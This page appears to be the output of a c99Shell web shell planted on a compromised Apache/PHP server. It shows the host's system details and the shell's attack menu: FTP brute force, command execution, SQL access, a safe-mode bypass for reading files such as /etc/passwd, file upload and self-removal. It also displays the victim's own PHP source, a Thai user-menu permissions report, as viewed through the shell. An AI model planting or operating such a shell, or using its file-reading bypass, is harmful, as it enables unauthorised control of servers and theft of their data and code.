!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ums/   drwxr-xr-x
Free 51.22 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     RptMenuList.php (4.2 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once("pagebody.php");
pageHeader();
$pageTitle="รายงานสรุป เมนูการใช้งาน";
echo 
"<table width=100% class=\"pageTitleBgColor\" align=\"center\">\n";
echo 
"<tr><td align=center>$pageTitle</td></tr>\n";
echo 
"</table>";
?>
<!--your code here-------------------------------------------------------------------------->
<br>
<p align=center>
<form name=form1 method=post>
<table bgcolor=#eeeeee align="center">
  <tr align=left>
    <td>เลือกระบบงาน</td>
    <td>
        <?
           
include_once("clsUmSystemR.php");
        
$oC = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB'], $GLOBALS['USER'], $GLOBALS['PASSWORD']);
        
$oSt = new umsystemr($oC);
        
        
$s="<select name='ID' onchange=\"reDir(this.options[this.selectedIndex].value)\">\n ";
        
$s.="<option value=\"\">---เลือกระบบงาน---\n";
        
$oSt->RSumsystem();
        while(
$oSt->GetRecord()){
            
$s.="<option value=\"$oSt->StID\" ";
            
$s.=($oSt->StID==$ID) ? "Selected" "" ;
            
$s.=">$oSt->StNameT\n";
        }
        
$s.="</select>\n";
        echo 
$s;
        
//echo $oSt->selectHTML("ID", $ID);
        
?>
    </td>
 </tr>
   <tr align=left>
    <td>เลือกกลุ่มงาน</td>
    <td>
        <?
        
//echo "===$ID---";
           
include_once("clsUmGroupR.php");
        
$oC = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB'], $GLOBALS['USER'], $GLOBALS['PASSWORD']);
        
$oGpr = new umgroupr($oC);
        echo 
$oGpr->selectHTMLByStID($ID"GpID"$GpID);
        if (
$ID<>""){
            
        }
        
?>
    </td>
 </tr>

 <tr>
 <td></td>
 <td><input type="submit"  name="submit" value="Search"></td>
 </tr>
 </table>
</form>
</p>
<?
//echo "ID=$ID<br>GpID=$GpID";

if ($pg<>"" or $submit=="Search"){
    include_once(
"functions.php");
    include_once(
"clsUmGroup.php");
    include_once(
"clsUmSystem.php");
    include_once(
"clsUmMenu.php");
    include_once(
"clsUmGPermission.php");
    
$oC = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB'], $GLOBALS['USER'], $GLOBALS['PASSWORD']);
    
$oGp = new umgroup($oC);
    
$oSt = new umSystem($oC);
    
$oMnT = new umMenu($oC);
    
$oMn = new umMenu($oC);
    
$oGPm = new umgpermission($oC);
    
    
$rw=0;
    
    
//get App group info
    
$oGp->SearchByKey($GpID);
    
$oGp->GetRecord();
    
    
//get App info
    
$oSt->SearchByKey($oGp->GpStID);
    
$oSt->GetRecord();
    
$StName $oSt->StNameT;
    
    
$oT = new clsTable();
    
$oT->bgColor="#eeeeee";
    
$oT->headerBgColor="#dddddd";
    
$oT->align="center";
//    $oT->rowStart();
//        $oT->addCell("<b>ระบบ ".$oSt->StNameT."</b>","","",2);
//        $oT->rowEnd();
//    $oT->rowStart();
//        $oT->addCell("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>กลุ่มงาน ".$oGp->GpNameT."</b>","","",2);
//        $oT->rowEnd();
    
$oT->rowStart("",$oT->headerBgColor);
        
$oT->addCell("<b>เมนูหลัก-เมนูย่อยู</b>","center");
        
$oT->addCell("<b>หมายเหตุ</b>","center");
        
$oT->rowEnd();
    
$oMnT->RSMainMenuBySt($oGp->GpStID);
    while (
$oMnT->GetRecord()){
        
ShowmenuGP($oGp->GpID$oMnT->MnID);        
    }
    echo 
$oT->output();


}
//////////////////////////////////////////
function ShowMenuGP($GpID$MnID){
    global 
$oC;
    global 
$oT;
    global 
$Str;
    global 
$oGPm;
    global 
$rw;
    global 
$flgStrike;
    
    include_once(
"../class/clsDB.php");
    
$oMn  = new ummenu($oC);
    
$oMn->SearchByKey($MnID);
    
$oMn->GetRecord();
    if (
$oMn->MnLevel==0){
        
$bs="<b>";    
        
$be="</b>";    
    }
    
$lv =  $oMn->MnLevel+1;
    
    
$checkX"checked";
    
$checkC"checked";
    
$checkR"checked";
    
$checkU"checked";
    
$checkD"checked";
    

    
$oGPm->SearchByKey($GpID,$oMn->MnID);
    if (
$oGPm->GetRowSelected()>0){
        
//found in group permission
        
$oGPm->GetRecord();
        if (
$oGPm->gpX==0$checkX="";
        if (
$oGPm->gpC==0$checkC="";
        if (
$oGPm->gpR==0$checkR="";
        if (
$oGPm->gpU==0$checkU="";
        if (
$oGPm->gpD==0$checkD="";
    }
    if (
$checkX=="checked"){
        
$flgStrike=false;
        
$oT->rowStart();
            
$oT->addCell("<input type=\"hidden\" name=mnid[] value=$oMn->MnID>" str_pad("",10*6*$oMn->MnLevel,  "&nbsp;"STR_PAD_RIGHT).$bs.$oMn->MnNameT.$be);
            
$oT->addCell("");
            
$oT->rowEnd();
    }else{
        
$flgStrike=True;
    }

    if (
$flgStrike==false){
        
$oMn->RSmenuByParentMn($MnID);
    }
    while (
$oMn->GetRecord()){
            
ShowMenuGP($GpID$oMn->MnID);
    }
}
?>
<!--------------------------------------------------------------------->
<? pageFooter(); ?>
<!--------------------------------------------------------------------->
<!--put javascript here-->
<script language="javascript">
function reDir(id){
    document.location.href = "RptMenuList.php?ID=" + id;
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0114 ]--